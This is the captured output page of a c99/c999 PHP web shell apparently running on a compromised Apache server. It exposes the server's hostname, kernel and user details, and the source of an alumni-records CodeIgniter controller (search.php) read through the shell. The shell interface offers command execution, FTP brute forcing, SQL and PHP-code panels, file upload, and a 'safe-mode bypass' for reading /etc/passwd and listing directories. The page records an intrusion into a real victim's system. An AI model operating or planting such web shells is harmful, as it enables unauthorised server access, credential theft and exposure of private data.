!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/ealumni/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     search.php (6.58 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('ea_controller.php');
class 
Search extends Ea_controller {

//    function __construct() {
//        parent::Controller();
//    }

    
function am_input() {
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');

        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur$ord_rs_cur,'','y');

        
$this->output($this->config->item("ea_folder")."v_repNameSplitProgram");
    
    }
    function 
am_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {

            
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
        
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();

            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
$con_rs_am = array('curId'            => $this->input->post('curId'),
                               
'graduateYear'    => $this->input->post('graduateYear'));
            
$ord_rs_am = array('am.alumniId');

            
$this->contents['rs_am']= $this->am->qryAmByNameAndPf($con_rs_am,'',$ord_rs_am);

            
$this->output($this->config->item("ea_folder")."v_printRepNameSplitProgram");
        } 
        else
            
$this->am_input();
    }
    function 
adr_input() {
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur$ord_rs_cur,'','y');

        
$this->output($this->config->item("ea_folder")."v_repAddressSplitProgram");
    }
    function 
adr_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {

            
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
        
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();

            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
$con_rs_am = array('curId'            => $this->input->post('curId'),
                               
'graduateYear'    => $this->input->post('graduateYear'));
            
$ord_rs_am = array('am.alumniId');

            
$this->contents['rs_am']= $this->am->qryAmAndAbByAdd($con_rs_am,'',$ord_rs_am);
            
//echo $this->db->last_query();

            
$this->output_detail($this->config->item("ea_folder")."v_printRepAddressSplitProgram");
        } 
        else
            
$this->adr_input();
    }
    function 
ha_input() {
        
        
$ord_rs_ta = array('taNameT');
        
$this->load->model($this->config->item('ea_folder').'mo_typeaward','ta');
        
$this->contents['rs_ta'] = $this->ta->get_options('','',$ord_rs_ta,'y');
        
//echo $this->db->last_query();

        
$ord_rs_la = array('laNameT');
        
$this->load->model($this->config->item('ea_folder').'mo_levelaward','la');
        
$this->contents['rs_la'] = $this->la->get_options('','',$ord_rs_la,'y');

        
$this->output($this->config->item("ea_folder")."v_repAlumniGiveAward");
    }

    function 
ha_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('taId','ประเภทรางวัล','trim|required|xss_clean');
        
$this->form_validation->set_rules('laId','ระดับการได้รับรางวัล','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item('ea_folder').'mo_typeaward','ta');
            
$this->load->model($this->config->item('ea_folder').'mo_levelaward','la');
            
$this->load->model($this->config->item("ea_folder").'mo_alumnimain','am');
            
$this->load->model($this->config->item("ea_folder").'mo_hisaward','ha');

            
$this->ta->taId $this->input->post('taId');
            
$this->contents['qu_ta'] = $this->ta->get_by_key();

            
$this->la->laId $this->input->post('laId');
            
$this->contents['qu_la'] = $this->la->get_by_key();

            
$con_rs_ha = array('taId'    => $this->input->post('taId'),
                               
'laId'    => $this->input->post('laId'));
            
$ord_rs_ha = array('ha.alumniId');
            
$this->contents['rs_ha']= $this->ha->qryHaAndAm($con_rs_ha,'',$ord_rs_ha);
            
//echo $this->db->last_query();

            
$this->output($this->config->item("ea_folder")."v_printRepAlumniGiveAward");
        }    
        else
            
$this->ha_input();
    }

    function 
hw_input() {
        
        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur$ord_rs_cur,'','y');

        
$this->output($this->config->item("ea_folder")."v_repSummaryAlumniQn");
    }

    function 
hw_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {

            
//$this->load->model($this->config->item('ea_folder').'mo_hiswork','hw');
        
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();
            echo 
$this->db->last_query();

            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
//$con_rs_hw = array('programId'        => $this->input->post('curId'),
                             //  'graduateYear'    => $this->input->post('graduateYear'));
            //$ord_rs_hw = array('hw.alumniId');
            //$this->contents['rs_hw'] = $this->hw->qry();

        
            
$this->output($this->config->item("ea_folder")."v_printRepSummaryAlumniQn");
        }    
        else
            
$this->hw_input();
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--